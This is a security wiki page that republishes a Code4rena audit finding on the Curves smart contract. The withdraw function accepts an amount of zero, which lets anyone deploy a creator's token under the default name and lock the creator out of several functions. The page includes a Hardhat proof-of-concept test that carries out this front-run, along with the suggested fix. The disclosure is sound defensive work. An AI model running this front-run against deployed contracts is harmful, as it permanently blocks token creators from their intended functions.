Skip to content
Business logic Audit finding Beginner

Withdrawing with amount = 0 will forcefully set name and symbol to default and disable some functions for token subject

The withdraw function in the Curves contract does not check for a zero amount, so anyone can call it with amount 0 to deploy the external ERC20 token with default name and symbol before the token subject does. This permanently prevents the token subject from setting a custom name and symbol or using functions like mint and buyCurvesTokenWithName.

ktg Follow with ktg, gkrastenov and 22 others

Originally disclosed on Code4rena

Submitted by ktg, also found by ktg, gkrastenov, Nikki, anshujalan, imare, gesha17, burhan_khaja, ether_sky, nonseodion (1, 2), HChang26, MrPotatoMagic, grearlake, santipu_, matejdb, jangle, th13vn, SovaSlava, para8956, merlinboii, jasonxiale, nuthan2x, Bobface, 0xPluto, y4y, and 0x0bserver

  • Name and symbol is forcefully set to default value before the token subject can do anything.
  • Disable functions mint, setNameAndSymbol and buyCurvesTokenWithName for token subject

Proof of Concept

Function withdraw is used by contract Curves to allow users to withdraw tokens to external ERC20 tokens. The function is currently implemented as:

function withdraw(address curvesTokenSubject, uint256 amount) public {
        if (amount > curvesTokenBalance[curvesTokenSubject][msg.sender]) revert InsufficientBalance();

        address externalToken = externalCurvesTokens[curvesTokenSubject].token;
        if (externalToken == address(0)) {
            if (
                keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].name)) ==
                keccak256(abi.encodePacked("")) ||
                keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].symbol)) ==
                keccak256(abi.encodePacked(""))
            ) {
                externalCurvesTokens[curvesTokenSubject].name = DEFAULT_NAME;
                externalCurvesTokens[curvesTokenSubject].symbol = DEFAULT_SYMBOL;
            }
            _deployERC20(
                curvesTokenSubject,
                externalCurvesTokens[curvesTokenSubject].name,
                externalCurvesTokens[curvesTokenSubject].symbol
            );
            externalToken = externalCurvesTokens[curvesTokenSubject].token;
        }
        _transfer(curvesTokenSubject, msg.sender, address(this), amount);
        CurvesERC20(externalToken).mint(msg.sender, amount * 1 ether);
    }

The function will check if externalToken == address(0), if so, they will deploy the token. This part of code stays behind the condition if (amount > curvesTokenBalance[curvesTokenSubject][msg.sender]) revert InsufficientBalance().

The problem is, the function does not check if the withdraw amount is 0. If withdraw is called with amount = 0, then the token is deployed with default name and symbol before token subject can do anything. The token once deployed cannot be redeployed and the name and symbol stays there forever. Also, since the token is already deployed, function mint, setNameAndSymbol and buyCurvesTokenWithName will all revert when the token subject call them.

Below is a POC for the above issue, save them to file test/curves-erc20.WithdrawFrontrun.ts and run it using command: npx hardhat test test/curves-erc20.WithdrawFrontrun.ts.

import { expect, use } from "chai";
import { solidity } from "ethereum-waffle";
use(solidity);
import { parseEther } from "@ethersproject/units";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
//@ts-ignore
import { ethers } from "hardhat";

import { type Curves, CurvesERC20Factory, ERC20__factory } from "../contracts/types";
import {CurvesERC20__factory} from "../contracts/types/factories/CurvesERC20__factory";
import { TradeEvent } from "../contracts/types/Curves";
import { buyToken } from "../tools/test.helpers";
import { deployCurveContracts } from "./test.helpers";

describe("Curves ERC20 test", () => {
  let testContract: Curves, owner: SignerWithAddress, friend: SignerWithAddress, addrs: SignerWithAddress[];

  beforeEach(async () => {
    [owner, friend, ...addrs] = await ethers.getSigners();
    testContract = await deployCurveContracts();
  });

  describe("ERC20 test", () => {
    it("Front run withdraw to set name and symbol to default", async () => {

      // Before owner can do anything, attacker can run withdraw with amount = 0
      await testContract.connect(friend).withdraw(owner.address, 0);
      const keyTokenAddress = (await testContract.externalCurvesTokens(owner.address)).token;
      const keyToken = CurvesERC20__factory.connect(keyTokenAddress, owner);

      // external token is already deployed with default name and symbol
      expect(await keyToken.name()).to.equal("Curves 1");
      expect(await keyToken.symbol()).to.equal("CURVES1");

      // Now the token subject cannot call function mint, setNameAndSymbol,buyCurvesTokenWithName
      let tx = testContract.mint(owner.address);
      expect(tx).to.be.revertedWith("ERC20TokenAlreadyMinted()");

      tx = testContract.setNameAndSymbol(owner.address, "Custom name", "SYMBOL123");
      expect(tx).to.be.revertedWith("ERC20TokenAlreadyMinted()");

      tx = testContract.buyCurvesTokenWithName(owner.address, 1, "Custom name", "SYMBOL123");
      expect(tx).to.be.revertedWith("ERC20TokenAlreadyMinted()");

    });
  });
});

Recommended Mitigation Steps

I recommend you forbid calling function withdraw with amount = 0.

andresaiello (Curves) acknowledged


The original report as published on Code4rena, by ktg. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The withdraw function lacks a check that the amount is greater than zero, allowing token deployment with default values when amount is zero.

Impact

The token subject is permanently prevented from setting a custom name and symbol and from using mint, setNameAndSymbol, and buyCurvesTokenWithName.

What the attacker needed

None

The fix

The withdraw function should reject calls with amount equal to zero.

How it was found

  1. Attacker calls withdraw with the token subject's address and amount 0.
  2. The external token is deployed with default name and symbol.
  3. The token subject can no longer call mint, setNameAndSymbol, or buyCurvesTokenWithName because the token is already deployed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this smart contract, a token creator (the 'token subject') is supposed to be able to choose a name and symbol for their token later. But the function that creates the token on the blockchain does not check if the withdrawal amount is zero. So an attacker can call it with zero, which creates the token with default names and locks out the creator from ever changing them or using certain functions.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by ktg

View all

10 more disclosed reports, best first.

More from Curves

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.